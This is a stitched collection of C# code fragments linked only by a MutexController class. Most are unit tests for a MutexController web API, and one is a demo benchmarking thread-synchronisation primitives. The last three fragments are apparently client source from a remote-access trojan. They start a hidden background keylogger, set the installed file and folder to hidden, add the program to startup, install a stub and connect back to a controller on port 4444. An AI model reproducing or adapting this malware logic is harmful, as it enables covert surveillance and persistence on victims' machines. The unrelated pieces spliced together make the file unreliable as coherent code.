public async void Patch_No_Errors() { MutexControllerMockFacade mock = new MutexControllerMockFacade(); var mockResult = new Mock <UpdateResponse <ApiMutexResponseModel> >(); mockResult.SetupGet(x => x.Success).Returns(true); mock.ServiceMock.Setup(x => x.Update(It.IsAny <string>(), It.IsAny <ApiMutexRequestModel>())) .Callback <string, ApiMutexRequestModel>( (id, model) => model.JSON.Should().Be("A") ) .Returns(Task.FromResult <UpdateResponse <ApiMutexResponseModel> >(mockResult.Object)); mock.ServiceMock.Setup(x => x.Get(It.IsAny <string>())).Returns(Task.FromResult <ApiMutexResponseModel>(new ApiMutexResponseModel())); MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, new ApiMutexModelMapper()); controller.ControllerContext = new ControllerContext(); controller.ControllerContext.HttpContext = new DefaultHttpContext(); var patch = new JsonPatchDocument <ApiMutexRequestModel>(); patch.Replace(x => x.JSON, "A"); IActionResult response = await controller.Patch(default(string), patch); response.Should().BeOfType <OkObjectResult>(); (response as OkObjectResult).StatusCode.Should().Be((int)HttpStatusCode.OK); mock.ServiceMock.Verify(x => x.Update(It.IsAny <string>(), It.IsAny <ApiMutexRequestModel>())); }
public async void BulkInsert_No_Errors() { MutexControllerMockFacade mock = new MutexControllerMockFacade(); var mockResponse = new CreateResponse <ApiMutexResponseModel>(new FluentValidation.Results.ValidationResult()); mockResponse.SetRecord(new ApiMutexResponseModel()); mock.ServiceMock.Setup(x => x.Create(It.IsAny <ApiMutexRequestModel>())).Returns(Task.FromResult <CreateResponse <ApiMutexResponseModel> >(mockResponse)); MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object); controller.ControllerContext = new ControllerContext(); controller.ControllerContext.HttpContext = new DefaultHttpContext(); var records = new List <ApiMutexRequestModel>(); records.Add(new ApiMutexRequestModel()); IActionResult response = await controller.BulkInsert(records); response.Should().BeOfType <OkObjectResult>(); (response as OkObjectResult).StatusCode.Should().Be((int)HttpStatusCode.OK); var result = (response as OkObjectResult).Value as List <ApiMutexResponseModel>; result.Should().NotBeEmpty(); mock.ServiceMock.Verify(x => x.Create(It.IsAny <ApiMutexRequestModel>())); }
public async void Get_Not_Exists() { MutexControllerMockFacade mock = new MutexControllerMockFacade(); mock.ServiceMock.Setup(x => x.Get(It.IsAny <string>())).Returns(Task.FromResult <ApiMutexResponseModel>(null)); MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object); controller.ControllerContext = new ControllerContext(); controller.ControllerContext.HttpContext = new DefaultHttpContext(); IActionResult response = await controller.Get(default(string)); response.Should().BeOfType <StatusCodeResult>(); (response as StatusCodeResult).StatusCode.Should().Be((int)HttpStatusCode.NotFound); mock.ServiceMock.Verify(x => x.Get(It.IsAny <string>())); }
static void Main(string[] args) { int[] arr = GenerateArray(1000); Console.WriteLine("Please, input key to find in generated array"); int key = Convert.ToInt32(Console.ReadLine()); IThreadController <int> threadController = new EventController <int>(); DrawHeader(); DrawLine("Events", RunThread(threadController, arr, key)); threadController = new SemaphoreController <int>(); DrawLine("Semaphores", RunThread(threadController, arr, key)); threadController = new MutexController <int>(); DrawLine("Mutexes", RunThread(threadController, arr, key)); threadController = new CriticalSectionController <int>(); DrawLine("Critical sections", RunThread(threadController, arr, key)); DrawFooter(); Console.ReadLine(); }
public async void Delete_Errors() { MutexControllerMockFacade mock = new MutexControllerMockFacade(); var mockResult = new Mock <ActionResponse>(); mockResult.SetupGet(x => x.Success).Returns(false); mock.ServiceMock.Setup(x => x.Delete(It.IsAny <string>())).Returns(Task.FromResult <ActionResponse>(mockResult.Object)); MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object); controller.ControllerContext = new ControllerContext(); controller.ControllerContext.HttpContext = new DefaultHttpContext(); IActionResult response = await controller.Delete(default(string)); response.Should().BeOfType <ObjectResult>(); (response as ObjectResult).StatusCode.Should().Be((int)HttpStatusCode.UnprocessableEntity); mock.ServiceMock.Verify(x => x.Delete(It.IsAny <string>())); }
public async void All_Not_Exists() { MutexControllerMockFacade mock = new MutexControllerMockFacade(); mock.ServiceMock.Setup(x => x.All(It.IsAny <int>(), It.IsAny <int>())).Returns(Task.FromResult <List <ApiMutexResponseModel> >(new List <ApiMutexResponseModel>())); MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object); controller.ControllerContext = new ControllerContext(); controller.ControllerContext.HttpContext = new DefaultHttpContext(); IActionResult response = await controller.All(1000, 0); response.Should().BeOfType <OkObjectResult>(); (response as OkObjectResult).StatusCode.Should().Be((int)HttpStatusCode.OK); var items = (response as OkObjectResult).Value as List <ApiMutexResponseModel>; items.Should().BeEmpty(); mock.ServiceMock.Verify(x => x.All(It.IsAny <int>(), It.IsAny <int>())); }
public async void Update_NotFound() { MutexControllerMockFacade mock = new MutexControllerMockFacade(); var mockResult = new Mock <UpdateResponse <ApiMutexResponseModel> >(); mockResult.SetupGet(x => x.Success).Returns(false); mock.ServiceMock.Setup(x => x.Update(It.IsAny <string>(), It.IsAny <ApiMutexRequestModel>())).Returns(Task.FromResult <UpdateResponse <ApiMutexResponseModel> >(mockResult.Object)); mock.ServiceMock.Setup(x => x.Get(It.IsAny <string>())).Returns(Task.FromResult <ApiMutexResponseModel>(null)); MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, new ApiMutexModelMapper()); controller.ControllerContext = new ControllerContext(); controller.ControllerContext.HttpContext = new DefaultHttpContext(); IActionResult response = await controller.Update(default(string), new ApiMutexRequestModel()); response.Should().BeOfType <StatusCodeResult>(); (response as StatusCodeResult).StatusCode.Should().Be((int)HttpStatusCode.NotFound); mock.ServiceMock.Verify(x => x.Get(It.IsAny <string>())); }
public async void Patch_Record_Not_Found() { MutexControllerMockFacade mock = new MutexControllerMockFacade(); var mockResult = new Mock <ActionResponse>(); mock.ServiceMock.Setup(x => x.Get(It.IsAny <string>())).Returns(Task.FromResult <ApiMutexResponseModel>(null)); MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object); controller.ControllerContext = new ControllerContext(); controller.ControllerContext.HttpContext = new DefaultHttpContext(); var patch = new JsonPatchDocument <ApiMutexRequestModel>(); patch.Replace(x => x.JSON, "A"); IActionResult response = await controller.Patch(default(string), patch); response.Should().BeOfType <StatusCodeResult>(); (response as StatusCodeResult).StatusCode.Should().Be((int)HttpStatusCode.NotFound); mock.ServiceMock.Verify(x => x.Get(It.IsAny <string>())); }
public async void Create_Errors() { MutexControllerMockFacade mock = new MutexControllerMockFacade(); var mockResponse = new Mock <CreateResponse <ApiMutexResponseModel> >(new FluentValidation.Results.ValidationResult()); var mockRecord = new ApiMutexResponseModel(); mockResponse.SetupGet(x => x.Success).Returns(false); mock.ServiceMock.Setup(x => x.Create(It.IsAny <ApiMutexRequestModel>())).Returns(Task.FromResult <CreateResponse <ApiMutexResponseModel> >(mockResponse.Object)); MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object); controller.ControllerContext = new ControllerContext(); controller.ControllerContext.HttpContext = new DefaultHttpContext(); IActionResult response = await controller.Create(new ApiMutexRequestModel()); response.Should().BeOfType <ObjectResult>(); (response as ObjectResult).StatusCode.Should().Be((int)HttpStatusCode.UnprocessableEntity); mock.ServiceMock.Verify(x => x.Create(It.IsAny <ApiMutexRequestModel>())); }
static void Main() { bool result; //bootController = new BootController(); //StreamReader readerMutex = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().Location); //MutexController.mutexKey = BootController.getMutexKey(readerMutex); MutexController.mutexKey = "sdkfjslkfjsldkfjsdlfj546s46s46s64s"; result = MutexController.createMutex(); //var mutex = new System.Threading.Mutex(true, mutexKey, out result); if (!result) { MessageBox.Show("Another instance of application is already running !"); return; } MessageBox.Show(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME)); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } ClientData.installPath = Path.Combine(AuthenticationController.DIRECTORY, ((!string.IsNullOrEmpty(AuthenticationController.SUBDIRECTORY)) ? AuthenticationController.SUBDIRECTORY + @"\" : "") + AuthenticationController.INSTALLNAME); Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); client = new ClientMosaic("127.0.0.1", 4444); //ClientMosaic.testexit = false; //client = new ClientMosaic(bootController.host, bootController.port); client.connect(); //GC.KeepAlive(mutex); }
static void Main() { bool result; bootController = new Boot(); StreamReader readerMutex = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().Location); MutexController.mutexKey = Boot.getMutexKey(readerMutex);; result = MutexController.createMutex(); if (!result) { MessageBox.Show("Another instance of application is already running !"); return; } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } ClientData.installPath = Path.Combine(AuthenticationController.DIRECTORY, ((!string.IsNullOrEmpty(AuthenticationController.SUBDIRECTORY)) ? AuthenticationController.SUBDIRECTORY + @"\" : "") + AuthenticationController.INSTALLNAME); Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); client = new ClientMosaic("127.0.0.1", 4444); //client = new ClientMosaic(bootController.host, bootController.port); client.connect(); }
private static bool MosaiqueLauncher() { _result = MutexController.createMutex(); // TODO virer if (!_result) // TODO virer { MessageBox.Show("Another instance of application is already running !"); return(false); } ClientData.installPath = Path.Combine(Boot.DIRECTORY, ((!string.IsNullOrEmpty(Boot.installSubDirectory)) ? Boot.installSubDirectory + @"\" : "") + Boot.installFileName); // // If install == false OR already installed if (!Boot.installStub || ClientData.currentPath == ClientData.installPath) { if (Boot.installStub && Boot.hideFile) // INSTALL { try { File.SetAttributes(ClientData.currentPath, FileAttributes.Hidden); } catch { } } if (Boot.installStub && Boot.hideSubDirectory && !string.IsNullOrEmpty(Boot.installSubDirectory)) // INSTALL { try { DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.installPath)); di.Attributes |= FileAttributes.Hidden; } catch { } } if (Boot.autoStartEnabled) // STARTUP { if (!ClientInstallerController.AddToStartup()) { ClientData.AddToStartupFailed = true; } } if (Boot.keyloggerEnabled) // KEYLOGGER { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } return(true); } else { MutexController.closeMutex(); ClientInstallerController.install(); return(false); } }